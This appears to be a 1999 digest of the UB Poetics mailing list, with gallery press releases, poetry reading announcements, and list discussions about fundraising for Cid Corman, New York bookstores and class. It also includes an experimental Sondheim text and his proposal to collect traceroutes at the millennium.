Conceptually, the exhibit's focus is on the process of roaming between rural, urban and electronic terrains. About Off The Grid, Mr. Selman says "These days they're re-cabling the entire planet. You feel a de-stabilizing effect. But, this anticipates our journey. We're roaming within structures more flexible than the prefabricated urban container." A slightly different definition, "off the grid" is a term used today by a growing segment of the population attempting to sever its dependence on the support grid behind industrial civilization. The cult lifestyle has even made its own industry of products for living off the grid. Whether or not this is possible, a growing human desire to go beyond the reduction of all phenomena to elements within a material grid seems to be timely. Mr. Selman admits he feels centering in the urban grid is obsolete and, in the exhibit, draws from his own desire to expand beyond its domain.

His previous project, Full Message, exhibited at Lance Fung Gallery in Spring of '98, is documented in Künstforum and Kölner Arts Magazine. Pieces from Full Message were collected and displayed by The Whitney Museum Of American Art, The Ultimate Akademie, Köln and The Artists Project, Berlin. Also in '98, Mr. Selman was included in The Malsch Exhibition, Munich and The Concrete Signal, York, Pennsylvania. Upcoming exhibitions of Full Message are at The Museum Of Contemporary Art, Lake Worth, Florida and The Triton Museum, California. He has works with The Stamp Collection, New York, The Artists Museum, Tel Aviv, Vanguard Visions, New York and was commissioned in '98 by Australian Broadcast Corporation to make a radio work at The Bridge, Construction In Process, Melbourne, Australia as a participating artist. A national broadcast takes place in September '99.

Lance Fung Gallery, 537 Broadway, NY, NY 10012
T/ [redacted] F/ [redacted]

----------Also on September 9th----------

E M I L Y
H A R V E Y
G A L L E R Y

PRESS RELEASE

537 B r o a d w a y
N Y C, N Y 10012

Tel: [redacted]
Fax [redacted]

-- J E S S I C A H I G G I N S --

"How It Sometimes Goes In Kangaroo Land"

Solo Exhibition

9 September - 2 October 1999 at Emily Harvey Gallery, 537 Broadway, NYC
Reception for the artist: Thursday, 9 September, 6-8 PM
Gallery hours: Tuesday - Saturday, 11 - 6

Emily Harvey is proud to present a solo exhibition by Jessica Higgins titled How It Sometimes Goes In Kangaroo Land. The exhibition opens Thursday, September 9th. Emily Harvey Gallery is the main American gallery representing such vintage Fluxus artists as Alison Knowles, Emmett Williams, Philip Corner, and the late Dick Higgins.

How It Sometimes Goes In Kangaroo Land is based on a pattern poem titled Long Tail For Jessie. Published in Dick Higgins' classic 1979 book, Some Recent Snow Flakes, it was inspired by a telephone conversation in which Ms. Higgins told her father "and that's how it sometimes goes in Kangaroo Land." Her exhibition opens a window to the private world this artist shared with her father.

The installation includes white cloth chairs suspended or placed on platforms. On the chairs Ms. Higgins has screen-printed correspondence and pattern poems including the poem Long Tail For Jessie. The prints magnify texts and transform the chairs into pages torn from a book. Mimicking mammal forms, the chairs play on the idea of materialized nonsense characteristic of a tradition that extends from the work of Lewis Carroll through works from the Fluxus family into which Jessica Higgins was born.

Additionally, Ms. Higgins has used the title How it Sometimes Goes In Kangaroo Land, as the basis of a thousand page anagrammatic text. All one thousand pages are presented along with pages she chose to put through a blue print machine and output as six foot scrolls of white text on blue ground.

Jessica Higgins' previous solo exhibition titled Riddles was presented at Lance Fung Gallery in Spring 1998.

All email to [redacted]

(To be dropped from this list please send the message 'remove' as the subject of a blank email to [redacted])

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20. Poetics List
looking rudy / narvis
Wed 1 Sep 1999

This came to the administrative account. Chris

--

From: narvis <[redacted]>
Date: 9/1/99 10:10 AM -0300

i'm looking for rudy burkhardt
does anyone there how to reach?

thanks

p drop z

[redacted]

↑ Index

21. Alan Sondheim
trAce project, loveandwar -
Wed 1 Sep 1999

I want to mention here, again, sorry for the repetition, that we've set up a space for textual experimentation re: a 'novel' or accumulation, at http://trace.ntu.ac.uk/writers/sondheim/index.htm based on Jennifer and any others one might care to contribute - there are five backbone webpages - you can add to any of them and/or add your own webpage (contact me on that) -

Also on LinguaMoo we've established a space to write/into dealing with avatars, you can publicly @dig there, at the Grove (down from trAce) - you have to join Lingua, that's all -

Please participate in these, at least check them out, if you have the time - there are also those conferences on the Webboard - you join by going through

http://trace.ntu.ac.uk - devoted to experimental writing, cyborg and avatar issues, etc. -

Thanks, Alan

http://www.anu.edu.au/english/internet_txt - partial mirror at http://lists.village.virginia.edu/~spoons/internet_txt.html co-moderator Cyberculture, Cybermind, Fiction of Philosophy (fop-l)

↑ Index

22. jesse glass
Re: social conformity vs Cid Corman
Wed 1 Sep 1999

To all: The publication idea is great. The readings idea is also a good one, but they're physically tiring and unless they pay really well, the 10-14 hour flight from Japan, consequent jet lag, etc. would probably not be worth it. He said as much when the idea was brought up in the past. Cid has been poet-in-residence at Iowa, and other places, and taught for one summer at Naropa. A residency would probably be more attractive to him, simply because it would be less wearing.

Cid is certainly capable of speaking for himself, and does have access to e-mail. I forwarded the information to him about joining this list, but I don't think he is comfortable enough with the technology to do it.

His e-mail address is available back channel to anyone who has any ideas, leads. etc. I'd be happy to give it out (Cid's given his ok on this), Mr. Philips also has it, and he is, I believe, in the process of joining this list. Happy, too, to give out his snail mail address to anyone who requests it.

Todd's welcome to contact Cid Corman directly because I doubt if he will ever chime in.

Happy to say that there has already been a helpful response generated from this list, but more people need to act. My advice: there's no need to wrangle: do what you can. If you value Cid Corman's 50 years plus dedication to the work; if you value Cid Corman as a person, please help. Someday you may find yourself in his position. Jesse

-----Original Message-----
From: Todd Baron /*/ ReMap Readers <[redacted]>
To: [redacted] <[redacted]>
Date: Tuesday, August 31, 1999 12:03 PM
Subject: Re: social conformity vs Cid Corman

> *I would, sadly, say that the responses to Cid's place in the world have less to do with Cid than with those making the responses. Poets have little money ---from their poetry-- there are a few folks who have been able to get into the game because of family comforts--etc. Also: so many are teaching right now that perhaps a seris of readings---if Cid wants'em--would bring him some much needed income. But--als again-Cid hasn't chimed in here--so it's not of it really about Cid!*

↑ Index

23. Gary Shapiro
Jewish Lit on Sept 26 in NYC
Wed 1 Sep 1999

---

in association with
NEW YORK IS BOOK COUNTRY
(a day-long festival of great books and browsing!)

NEW JEWISH LITERATURE & WRITING
Sunday, September 26,1999
LOCATION: 40 West 45 Street (near Fifth Avenue)
New York, New York
RSVP: [redacted] or [redacted]

2:00pm THANE ROSENBAUM reads from SECOND HAND SMOKE (St. Martin's) It's a story taking place in the seamy underbelly of Miami Beach's Collins Avenue, where Mila Katz, Holocaust survivor and confidante to Miami's mobsters, lives by her wits)

3:00pm ALAN KAUFMAN reads for poems WHO ARE WE by Davka Press He is also the author of a forthcoming book THE OUTLAW BIBLE OF AMERICAN POETRY (Thunder's Mouth), and editor of a cool Jewish website

4:00pm MELVIN JULES BUKIET reads from a new anthology NEUROTICA: JEWISH WRITERS ON SEX (WW Norton).

REQUEST: If you have any ideas of where i can post this event listing [poetry websites, listservs, etc] could you either forward it there, or email me at [redacted] Thank you, and happy New Year, la shana tova.

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24. Michael Walsh
Re: NYC Bookstores
Wed 1 Sep 1999

Dear Douglas Messerli,

Ah, interesting. I have often enough wondered why St
Marks does so poorly on stocking varieties of poetry
that they really should have on the shelves. The readers
of these books are certainly often in the place. A while
back, I was in there and grabbed a copy of Ron Silliman's
Xing. At the register, it turned out that Xing is read
by the machine as a command to cancel the transaction,
so I stood there while the person behind the counter tried
again and again to get the register to accept this
string as the title of the book. They finally sold it
to me without entering the title into what I suppose
is an inventory -- so they probably haven't re-ordered it
either.

Best
Michael Walsh

↑ Index

25. **pete spence**

Re: more power to the affluent poets

Thu 2 Sep 1999

>
>
>I could only assume that the emphasis was on "real" poets. But we have been
>around this class bush repeatedly, as someone pointed out.
>
tell me tellme quick whats a "real" poet????/pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

26. **pete spence**

Re: social conformity vs Cid Corman

Thu 2 Sep 1999

> *To all:*
> *The publication idea is great. one way to raise funds is to hold a SMALL*
> *PRESS auction specially those small run items that are around,, maybe*
> *invite SMALL PRESS publishers to give one or two copies of something that*
> *is getting close to the out of print cata/gory i've suggested this here in*
> *Aust when there was an emergency once o'er the publish of someones book*
> *when the printers had stuffed it all up and a new run was needed but they*
> *wouldn't come clean//if all this makes any sensibles//yours pete spence*

Get Your Private, Free Email at http://www.hotmail.com

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27. Jack Ruttan

Emile Nelligan's E-mail Address

Thu 2 Sep 1999

> *Date: Mon, 30 Aug 1999 16:30:56 -0400*
> *From: Brian Stefans <[redacted]>*
> *Subject: Emile Nelligan's E-mail Address*
>
> *Actually, Nelligan's long dead, but I'll be heading up to Montreal this Thursday for the weekend and wanted to find out where the historic sites might be regarding this poet. Anybody out there have any information?*
>
> *The sites I've found -- of which there are a fair amount -- are all in French, and from what I can tell don't contain this type tourist (tripe), er, information. I'm especially interested in the location of the writer's group that he was a part of, l'ecole litteraire de Montreal, where he read "La Romance de Vin," interesting because he was carried around on the shoulders of his, er, "communiyt" that evening for having more or less created French Canadian poetry, and then went comatose with some form o= f schizophrenia two months later (at 20 ans).*
>
> *At least that's what I _read_ -- I'm sure someone who was there will correct me!*
>
> *But seriously, I'd love to find some locations.*
>
> *Cheers,*
> *Brian*

I didn't know if he was part of a writer's group. But if you step off at Metro Sherbrooke, you can head towards rue Laval, where he lived, and did most of his writing, I think. On the way, there's a a Quebec Poets and Writers Assn. on rue Laval at the head of a park called Carre St. Louis, and they might be able to direct you somewhere. Failing that, Nelligan's picture is in most of the French-Language bookstores (many on rue St. Denis), and the people there, if knowledgeable, might give you an assist.

Jack Ruttan, Montreal

--

http://www.axess.com/users/jackr

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28. Gary Shapiro

NYC events for Kenyon, Sewanee, Boulevard,Graywolf

Thu 2 Sep 1999

Four free literary events:
Location: 15 Gramercy Park South, New York City
(near 20th Street & Park Avenue); jackets required; see you there
RSVP required to [redacted] or [redacted]

Save these dates in your calendar!

October 12, 1999 The Kenyon Review at 60: A Celebration 7:00pm; free
Princeton professor Michael Wood (author of books on Stendhal, Marquez, Nabokov, among others) Will speak on BROKEN DATES: FICTION AND THE CENTURY, followed by respondent MacArthur winner Lewis Hyde (author of The Gift: Imagination and the Erotic Life of Property). Moderated by Editor David Lynn.

November 3, 1999 Sewanee Writers' Conference 10th Anniversary Event
7:00pm
free
You are cordially invited to join Wyatt Prunty and various authors and writers. Alice
McDermott, Mark Strand, Dan Mueller, Lily Tuck.
In association with The Overlook Press/The Sewanee Writers' Series.

November 8,1999 An evening with Boulevard Magazine Join Editor Richard Burgin (three-time Pushcart Prize winner, and author of Fear of Blue Skies, Private Fame and Man Without Memory), Molly Peacock, author of four books of poems, including Original Love and Take Heart, as well as a memoir Paradise, Piece by Piece. She has been president of the Poetry Society of America. Art critic and poet David Shapiro, author of 7 volumes of poetry, monographs on Ashbery, Jasper Johns, and After a Last Original (with Terry Winters).

December 2,1999 Graywolf Press: Celebrating 25 Years 7pm free Join noted authors Mark Doty, Sophie Cabot Black, Nick Flynn, Eamon Grennan, and Vijay Seshadri. Welcome by editor Fiona McCrae; Graywolf celebrates twenty-five years of publishing gourndbreaking, thoughtful, and imaginative contemporary fiction.

RSVP required; email [redacted] or [redacted]. Thanks!

↑ Index

29. Walter K. Lew
re Tony Green on Japanese "borrowing"
Thu 2 Sep 1999

From Ralph Linton, _The Study of Man_ (1936):

"Our solid American citizen awakes in a bed built on a pattern which originated in the Near East...He throws back covers made from cotton, domesticated in India, or linen, domesticated in the Near East, or wool from sheep, also domesticated in the Near East, or silk, the use of which was discovered in China...He takes off his pajamas, a garment invented in India, and washes with soap in invented by the ancient Gauls. He then shaves, a masochistic rite which seems to have been derived from either Sumer or ancient Egypt...Before going out for breakfast he glances thru the window, made of glass invented in Egypt, and if it is raining puts on overshoes made of rubber discovered by the Central American Indians and takes an umbrella, invented in southeastern Asia. Upon his head he puts a hat made of felt, a material invented in the Asiatic steppes.

On his way to breakfast he stops to buy a paper, paying for it with coins, an ancient Lydian invention. At the restaurant a whole new series of borrowed elements confronts him. His plate is made of a form of pottery invented in China. His knife is of steel, an alloy first made in southern India, his fork a medieval Italian invention, and his spoon a derivative of a Roman origin...After his fruit and first coffee he goes on to waffles, cakes made by a Scandinavian technique from wheat domesticated in Asia Minor. Over these he pours maple syrup, invented by the Indians of the Eastern woodlands. As a side dish he may have the egg of a species of bird domesticated in Indo-China, or thin strips of the flesh of an animal domesticated in Eastern Asia which have been salted and smoked by a process developed in Northern Europe.

When our friend has finished eating he settles back to smoke, an American Indian habit, consuming a plant domesticated in Brazil in either a pipe, derived from the Indians of Virgina or a cigarette, derived from Mexico...While smoking he reads the news of the day, imprinted in characters invented by the ancient Semites upon a material invented in China by a process invented in Germany [Linton shd have sd Chosôn (present-day Korea)]. As he absorbs the accounts of foreign troubles he will if he is a good conservative citizen, thank a Hebrew deity in an Indo-European language that he is 100 per cent American."

As quoted in Prof. Henry Em's reader for a UCLA course on Modern Korean history.

Walter K. Lew
11811 Venice Blvd. #138
Los Angeles, CA 90066

↑ Index

30. David Baratier

Re: more power to the affluent poets

Thu 2 Sep 1999

As a person who knows Steve if he, of all working class people, is willing to donate a jackson to the project that says a lot. Or even some time--

Ideological socialist talk won't put the onions on the plate. Re-emphasis of the "not me" ideology didn't work in the reagonomic period, why should it now? Shoot up or shut up.

While I would have the ability to put a selected together, and some of the funds, the time is the main problem here-- no time to put together a benefit-- or the manuscript-- too much on the dinner plate & only one intern. The Perchik collected will be out late cause of time. If someone typed up a manuscript version into e-mail so I could throw it into Quark, I'd be willing. Most of Cid's work would need to be culled from non-electronic sources, the Elizabeth press books, and with Si's work it has been slow going at best. The Morterstag books are beautiful but the paper creates so many scanning errors it is unreal. I'd rather see it get out on the Maine series if Burton is out there. Jesse feel free to pass along the word...

Be well

David Baratier

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31. Stephen Ellis

Re: more power to the affluent poets

Thu 2 Sep 1999

Yr right, working class people often DO have more openness re: money. But that's pretty much an urban thing. In fact the whole notion of "working class" is urban; Marx didn't farm, and shuddered at the fact of living in a rural setting. There are plenty of provincial mutes who don't have much to say about money or anything else. I find that whole hierarchy of working, middle, upper class

to be over simple. Isn't it more like some kind of daisy chain in wch all participate, even if often enough against their will? And don't you think the "openness" in the working classes toward discussing fiscal matters is sometimes contingent on the feeling that they've been "had" - that's something I've noticed, openness seeming a way to bear up under constant (fiscal & emotional) strain, if not outright (temporal & spatial) abuse. Wch is, okay, not always the case, but

to invoke the openness you speak of without mentioning the perpetual grind being under image to priviledge (ie., something to work toward, like getting a disease) is to keep intent separate from the occasional desperation behind it. Conditions have contexts & causes, middle class is it may be to point this (if not them) out.

S E

> *From: Dodie Bellamy <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Re: more power to the affluent poets*
> *Date: Wed, 1 Sep 1999 15:26:44 -0700*
>
> *At 2:46 PM -0700 8/31/99, Stephen Ellis wrote:*
>
> *We DO live on the same planet. Twenty dollars was an arbitrary figure I cldn't (easily) afford either. The point is elsewhere - money is secret.*
>
> *Actually, what you're voicing is a middle class value. Working class people (at least the ones I was raised around) are very open about money, how much they make, how much they spend for things. Often they speak about these things with great vigor. *Not* to ask about money (or to talk about my own money situation) was something I learned when I got involved in the San Francisco poetry scene. It's still hard, like not announcing to everybody how much my shoes cost.*
>
> *Dodie*

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32. daniel bouchard
Bookcellar Cafe Reading Series
Thu 2 Sep 1999

>
>
> The Bookcellar Poetry Reading Series
>
> presents:
>
> JOSEPH TORRA and PATRICK DOUD
>
> September 17th, Friday
> 7:00 P.M.

>
>The reading is free but donations for the poets are encouraged. The
> Bookcellar Cafe and Bookstore is at 1971 Mass. Ave. in Porter Sq.
> in Cambridge one block on the right from the T Stop.
>
>A Fall schedule of monthly and sometimes bi-monthly readings is
> forthcoming. Thanks VERY much, Aaron Kiely
>
>_____
>Get Your Private, Free Email at http://www.hotmail.com
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<<

↑ Index

33. **Richard Dillon**

Re: NYC Bookstores

Thu 2 Sep 1999

Gotham Book Mart

>From: Michael Walsh <[redacted]>
>To: [redacted]
>Subject: Re: NYC Bookstores
>Date: Mon, Aug 30, 1999, 5:19 PM
>

> *Dear Ramez Qureshi,*
>
> *St Marks Books (3rd Ave and 9th St) will usually have Sulfur (and other such periodicals) -- in the back, on the right, across from the remainders. Their poetry books are not so good, but they sometimes have some things, and so might have Swenson.*
>
> *Good luck,*

> *Michael Walsh*

↑ Index

34. Alan Sondheim
HH
Thu 2 Sep 1999

=

HH

Help help, I'm being murdered, for God's sake help me! !em pleh ekas s'doG rof ,deredrum gnieb m'I ,pleh pleH Jesus fuck Christ get off me, get away from me! !em morf yawa teg ,em ffo teg tsirhC kcuf suseJ Come back you bastards, oh God, I'm so sorry ... ... yrros os m'I ,doG ho ,sdratsab uoy kcab emoC I didn't take your money for God's sakes, you've got the wrong person! !nosrep gnorw eht tog ev'uoy ,sekas s'doG rof yenom ruoy ekat t'ndid I It wasn't me, please please don't shoot, oh please, don't, don't, please! !esaelp ,t'nod ,t'nod ,esaelp ho ,toohs t'nod esaelp esaelp ,em t'nsaw tI Fuck, please don't rape me, I'm not a bad person, please leave me alone ... ... enola em evael esaelp ,nosrep dab a ton m'I ,em epar t'nod esaelp ,kcuF Oh God oh God I've been shot, help me, help me! !em pleh ,em pleh ,tohs neeb ev'I doG ho doG hO Please, I beg you, if you have any compassion, please, pleaes, please. .esaelp ,seaelp ,esaelp ,noissap-moc yna evah uoy fi ,uoy geb I ,esaelP God, please leave me alone, please, I don't deserve this, leave me alone. .enola em evael ,siht evresed t'nod I ,esaelp ,enola em evael esaelp ,doG Oh God, no ... ... on ,doG hO Please, I don't want to die, I haven't done anything to you. .uoy ot gnihtyna enod t'nevah I ,eid ot tnaw t'nod I ,esaelP Look at me, no, look at me, please, you don't really want to do this. .siht od ot tnaw yllaer t'nod uoy ,esaelp ,em ta kool ,on ,em ta kooL Please don't kill me, I have children, please, oh God please ... ... esaelp doG ho ,esaelp ,nerdlihc evah I ,em llik t'nod esaelP

↑ Index

35. jesse glass
Re: Cid Corman's address
Thu 2 Sep 1999

Here's Cid Corman's mailing address: Fukuoji-cho/80 Utano/Ukyo-ku/Kyoto 616/Japan. Jesse

-----Original Message-----
From: Grant Jenkins <[redacted]>

To: [redacted] <[redacted]>
Date: Wednesday, September 01, 1999 5:32 PM
Subject: Re: Cid Corman's address

> *Burt,*
>
> *John in his latest letter says that we have Corman's address, but I can't find it in the archive. For everyone's benefit, would you please repost that information?*
>
> *Thanks*
>
> *As said, a cheque isn't that good for anything under $500 (due to $35 charged for cashing). The best method is to transfer cash (yen if possible) direct to his bank. (You have the address / details. [i.e., from a previous message: banking details, which he tells me is good for "dollar, yen, or check transfers": Cid Corman c/o Kyoto Shinyo Kinko Bank, Omuro Branch, Omuro Ukyo-ku, Kyoto [redacted] Japan; account number: 095-0010328; bank tel: [redacted].])*
>
> *For smaller amounts sending cash in perhaps a registered envelope / hidden by carbon paper + Cid's details should do it.*

↑ Index

36. Maria Damon
Re: St. Petersburg Literary Seminars (summer)
Thu 2 Sep 1999

---

you should definitely contact masha zavialova, a member of this list, for poetic contacts etc in st petersburg.

At 8:39 PM -0400 8/31/99, Philip Nikolayev wrote:
>I will be teaching at the next St. Peterburg Summer Literary Seminars (for
>English speakers/writers). The program is affiliated with the University of
>Cincinnati (USA) and Herzen University (Russia).
>
>Program seminars include:
>
> Fiction 1 & 2
> Non-Fiction
> Poetry
> Playwriting/Screenwriting
> International Dramaturgy
> Literary and Philisophical Discourse in St. Petersburg
> Untranslatable Russia

>
>More info at http://www.sumlitsem.com/ -- please take a look if interested.
>
>Philip Nikolayev
>[redacted]

↑ Index

37. Poetics List

UPDATE: The 12hr ISBN-JPEG Project / Brace

Thu 2 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------

Date: Wed, Sep 1, 1999 5:45 PM -0700
From: { brad brace } <[redacted]>

```
        _______ _          __ ___  _
       |__   __| |        /_ |__ \| |
         | |  | |__   ___   | |  ) | |__  _ __
         | |  | '_ \ / _ \  | | / /| '_ \| '__|
         | |  | | | |  __/  | |/ /_| | | | |
         |_|  |_| |_|\___|  |_|____|_| |_|_|

 _____  _____ ____  _   _          _ _____  ______ _____
|_   _|/ ____|  _ \| \ | |        | |  __ \|  ____/ ____|
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 _| |_ ____) | |_) | |\  |     | |__| | |    | |___| |__| |
|_____|_____/|____/|_| \_|      \____/|_|    |_____\_____|

          |  __ \        (_)        | |
          | |__) | __ ___  _  ___  ___| |_
          |  ___/ '__/ _ \| |/ _ \/ __| __|
          | |   | | | (_) | |  __/ (__| |_
          |_|   |_|  \___/| |\___|\___|\__|
                         _/ |
                        |__/
```

> > > > Synopsis: The 12hr-ISBN-JPEG Project began December 30, 1994. A `round-the-clock posting of sequenced hypermodern imagery from Brad Brace. The hypermodern minimizes the familiar, the known, the recognizable; it suspends identity, relations and history. This discourse, far from determining the locus in which it speaks, is avoiding the ground on which

it could find support. It is trying to operate a decentering that leaves no privilege to any center.

The 12-hour ISBN JPEG Project
---
began December 30, 1994

Pointless Hypermodern Imagery... posted/mailed every 12 hours... a spectral, trajective alignment for the 90`s! A continuum of minimalist masks in the face of catastrophe; conjuring up transformative metaphors for the everyday... A poetic reversibility of exclusive events...

A post-rhetorical, continuous, apparently random sequence of imagery... genuine gritty, greyscale... corruptable, compact, collectable and compelling convergence. The voluptuousness of the grey imminence: the art of making the other disappear. Continual visual impact; filled with the density of an invisible knowledge; an optical drumming, sculpted in duration, on the endless present of the Net.

An extension of the printed ISBN-Book (0-9690745) series... critically unassimilable... imagery is gradually acquired, selected and re-sequenced over time... ineluctable, vertiginous connections. The 12hr dialtone...

[see ftp.netcom.com/pub/bb/bbrace/books]

KEYWORDS: >> Disconnected, disjunctive, distended, de-centered, de-composed, ambiguous, augmented, ambilavent, homogeneous, reckless...
>> Multi-faceted, oblique, obsessive, obscure, obdurate...
>> Promulgated, personal, permeable, prolonged, polymorphous, provocative, poetic, plural, perverse, potent, prophetic, pathological, pointless...
>> Emergent, evolving, eccentric, eclectic, egregious, exciting, entertaining, evasive, entropic, erotic, entrancing, enduring, expansive...

Every 12 hours, another!... view them, re-post `em, save `em, trade `em, print `em, even publish them... The design of the Net assumes that intellectual property is technically and socially obsolete.

Here`s how:

~ Set www-links to -> http://www.teleport.com/~bbrace/12hr.html Look for the 12-hr-icon. Heavy traffic may require you to specify files more than once! Anarchie, Fetch, CuteFTP, TurboGopher... Or -> ftp://ftp.netcom.com/pub/bb/bbrace/bbrace.html

~ Download from -> ftp.pacifier.com /pub/users/bbrace
Download from -> ftp.netcom.com /pub/bb/bbrace
Download from -> ftp.teleport.com /users/bbrace

Download from -> ftp.rdrop.com /pub/users/bbrace
Download from -> ftp.wco.com /pub/users/bbrace
* Remember to set tenex or binary. Get 12hr.jpeg

~ E-mail -> If you only have access to email, then you can use FTPmail to do essentially the same thing. Send a message with a body of 'help' to the server address nearest you: * [redacted] *

~ Mirror-sites requested! Archives too!
The latest new jpeg will always be named, 12hr.jpeg
Average size of images is only 45K.
*
Perl program to mirror ftp-sites/sub-directories:
src.doc.ic.ac.uk:/packages/mirror
*

~ Postings to usenet newsgroups:
alt.12hr
alt.binaries.pictures.12hr
alt.binaries.pictures.misc
alt.binaries.pictures.fine-art.misc

* * Ask your system's news-administrator to carry these groups! (There are also usenet image browsers: TIFNY, PluckIt, Picture Agent, PictureView, Extractor97, NewsRover, Binary News Assistant, EasyNews)

~ This interminable, relentless sequence of imagery began in earnest on December 30, 1994. The basic structure of the project has been over twenty-four years in the making. While the specific sequence of photographs has been presently orchestrated for more than 12 years` worth of 12-hour postings, I will undoubtedly be tempted to tweak the ongoing publication with additional new interjected imagery. Each 12-hour posting is like the turning of a page; providing ample time for reflection, interruption, and assimilation.

~ The sites listed above also contain information on other cultural projects and sources.

~ A very low-volume, moderated mailing list for announcements and occasional commentary related to this project has been established. Send e-mail to: [redacted] /subscribe 12hr-isbn-jpeg

-- This project has not received government art-subsidies. Some opportunities still exist for financially assisting the publication of editions-by-subscription of

large (33x46") prints; perhaps (Iris giclees) inkjet duotones on newsprint! Other supporters receive rare copies of the first three web-offset printed ISBN-Books.

-- ISBN is International Standard Book Number. JPEG and GIF are types of image files. Get the text-file, 'pictures-faq' to learn how to view or translate these images. [ftp ftp.netcom.com/pub/bb/bbrace]

--
credit appreciated, but
no copyright 1994,1995,1996,1997,1998,1999 <[redacted]>

--

---------- End Forwarded Message ----------

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38. Poetics List
Philip Whalen / Scalapino
Thu 2 Sep 1999

This message came to the administrative account. Chris

---------- Forwarded Message ----------
Date: Thu, Sep 2, 1999 10:04 AM -0700
From: Thos J White <[redacted]>

In response to David Highsmith's question, Philip Whalen has been in the hospital for over a week with a bacterial infection which started in his leg. Though of course he's been quite sick, he's not in danger and when visited was even in a humorous mood. He missed the group reading at Fort Mason that was held for his book OVERTIME. -- Leslie Scalapino

↑ Index

39. Alan Sondheim
Need help for a Millennial Project through trAce!
Thu 2 Sep 1999

=

Millennium Project - Help Needed, Comments Invited !!!

This is a proposal for a millennium project that would involving running traceroute and similar applications across the December 31 / January 1 _hinge._

Traceroute is a linux / unix command that can also be downloaded as a small application for Windows; the command-line (prompt) startup is:

{k:1} traceroute <address> - for example
{k:2} traceroute cleo.murdoch.edu.au

Traceroute then executes a series of internet packet transmissions that target each router between one's local site and the address; each target is usually hit three times. The send-and-return time for each router is then given to the user. The result is a table or textual map of the health of the route between the local and final address; if a router is down or not responding, that is clear from the * in place of the send-and-return time. Here is an example:

{k:110}traceroute cleo.murdoch.edu.au >> zz
traceroute to cleo.murdoch.edu.au (134.115.224.60), 30 hops max, 40 byte packets

1 isdn2.nyc.access(166.84.0.123) 184ms 169ms 169ms 2 xenyn-eid-FE0-1.nyc.access(166.84.0.97) 169ms 169ms 169ms 3 587.Hssi2-0-0.GW2.NYC4.ALTER(157.130.17.145) 179ms 179ms 179ms 4 132.ATM2-0.XR1.NYC4.ALTER(146.188.178.134) 189 ms 179ms 170ms 5 189.ATM2-0.TR1.NYC1.ALTER(146.188.179.18) 179ms 189 ms 189ms 6 104.ATM7-0.TR1.LAX2.ALTER(146.188.137.129) 249ms 249ms 249ms 7 299.ATM7-0.XR1.LAX4.ALTER(146.188.248.253) 249ms 259ms 260ms 8 192.ATM8-0-0.GW1.LAX4.ALTER(146.188.248.101) 269ms 259. ms 249ms 9 optus-gw.customer.ALTER(157.130.227.182) 249ms 249ms 279ms 10 hssi8-0-0.ia4.optus.net.au (192.65.89.241) 599ms 559ms 549ms hssi3-0-0.ia4.optus.net.au (192.65.89.237) 549ms 11 ge9-0-0.ia3.optus.net.au (192.65.89.225) 569ms 579ms 589ms 12 aarnet-wa.ia3.optus.net.au (192.65.88.190) 649ms 629ms 629ms 13 murdoch-parnet.parnet.edu.au (203.19.110.146) 629ms 639ms 619ms 14 cleo.murdoch.edu.au (134.115.224.60) 639ms 639ms 649ms

All of the intermediate routers between the local address (my desktop computer routed through panix.com) and cleo.murdoch.edu.au are listed in order; the IP address is given after the name, and then three times are listed for every address.

What I propose is a skein or matrix of traceroutes run all around the world - not just from major cities - sites - at the time of the millennial turnover hinge. Participants could run one or several traceroutes; the results would be sent to me or a trAce site via standard email, and assembled. (It may be possible to create a visualization, but the cost of this seems prohibitive.)

The result would give a map of some of the world's nerves as Y2K comes to fruition; it would be a unique and historic signature or imprint of the passing of an era (marked by B.C./A.D. or b.c.e. a.c.e. common time - I'm well aware of alternative date systems). The text would be a world-text, a self-reflexive look at the Net by the Net, data-crawling everywhere. One site might not have traceroute running at all; another might connect just as easily as usual.

A major problem is that almost no one will be around for the hinge (and don't forget the hinge itself will take a day to travel the world). The computers would most like be set up (if unix or linux) with the at or cron commands, which automate task running at particular times; if they connect to the Net, they'd also have to ensure that the ISP connection remains open. All of these are difficult problems; one solution would be to _actively_ make connections when the participant's local address is not on the hinge - but to target hinge addresses.

Any help or suggestions will be greatly appreciated. trAce (Sue Thomas) and I have tried to find programming help on this, but so far it appears costly. Martin Dodge at Cybergeography has been thinking along similar lines, but nothing is firmed up there, either.

Alan

↑ Index

40. jocelyn saidenberg

Amnasan and Robinson Reading at Small Press Traffic

Thu 2 Sep 1999

--==========_-1275800960==_ma==========

**SMALL PRESS TRAFFIC READING **

Mike Amnasan
Elizabeth Robinson
Friday, September 10, 7:30 p.m.

Mike Amnasan's novel I Can't Distinguish Opposites (1988, Black Star Series), and its unpublished sequel, Joe Liar, were two of the most important works to come out of San Francisco's "New Narrative" school of the 1980s, arriving like a pair of thunderclaps across a livid purple sky of politics, sex, genre-bending, labor writing, memoir, and deconstruction. Amnasan is the author as well of a full-length play, Revery, and the editor of the controversial literary/sociological journal Ottotole (1985-1989). This year he won the Sheet Metal Workers Local 104 College Scholarship Award to study literature at San Francisco State University. Born in Pasco (Washington), he will be reading tonight from a memoir-in-progress, Beyond the Safety of Dreams.

For many, Elizabeth Robinson epitomizes the latest version of the new American poetry, for her writing is well known for its lyric abstraction, its spiritual depth, its finesse of experiment, and elegant individualism. Often overlooked are the Rabelaisian undertones, for here is a poetry in love with life, eros, and comedy high and low. Robinson's books include: In the Sequence of Falling

Things (paradigm) and Bed of Lists (Kelsey St. Press), and seven chapbooks from publishers around the world. Forthcoming, a new book from Kelsey St. Press (The Seed for Bread), and a chapbook (Lodger) from Arcturus Editions. Her poems and critical writing have appeared in Oblek, The Germ, Epoch, First Intensity, Hambone, 6ix, Fence, American Letters and Commentary, Fourteen Hills.

New College Cultural Center
766 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org
--==========_-1275800960==_ma==========

<fontfamily><param>Palatino</param><bigger><bigger>**SMALL PRESS TRAFFIC READING **

Mike Amnasan

Elizabeth Robinson

=46riday, September 10, 7:30 p.m.=20

</bigger></bigger></fontfamily> <fontfamily><param>Palatino</param><= bigger><bigger>

